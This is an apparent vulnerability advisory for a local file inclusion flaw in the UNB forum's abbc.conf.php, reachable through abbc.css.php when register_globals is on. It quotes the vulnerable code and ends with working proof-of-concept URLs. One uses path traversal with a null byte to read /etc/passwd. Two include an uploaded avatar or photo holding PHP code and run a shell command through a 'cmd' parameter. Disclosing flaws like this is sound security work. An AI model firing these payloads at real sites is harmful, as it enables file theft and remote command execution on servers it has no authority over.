vulnerable code in unb_lib/abbc.conf.php at lines 635-641:

...
// Smiley Definitions
if ($ABBC['Config']['smileset'])
{
$ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' . $ABBC['Config']['smileset'] . '/';
$ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' . $ABBC['Config']['smileset'] . '/';
@include($ABBC['Config']['smilepath'] . 'config.php');
}
...

$ABBC['Config']['smileset'] var is not initialized before to be used to include
files. You cannot have access to this code directly but in unb_lib/abbc.css.php
at line 16 we have:

...
require('abbc.conf.php');
...

this script is not protected by the unb_lib folder .htaccess file:

# Don't allow direct PHP requests in this directory
<Files *.inc.php>
Order allow,deny
Deny from all
</Files>
<Files *.lib.php>
Order allow,deny
Deny from all
</Files>

so, if register_globals = On & magic_quotes_gpc = Off, you can include files
from local resources, poc:

http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../../../../../../../../etc/passwd%00
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/avatar_[user_id].jpeg%00&cmd=ls%20-la
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/photo_[user_id].jpeg%00&cmd=ls%20-la

this script try to include an avatar or photo with malicious php code
inside, you need a valid account to upload files
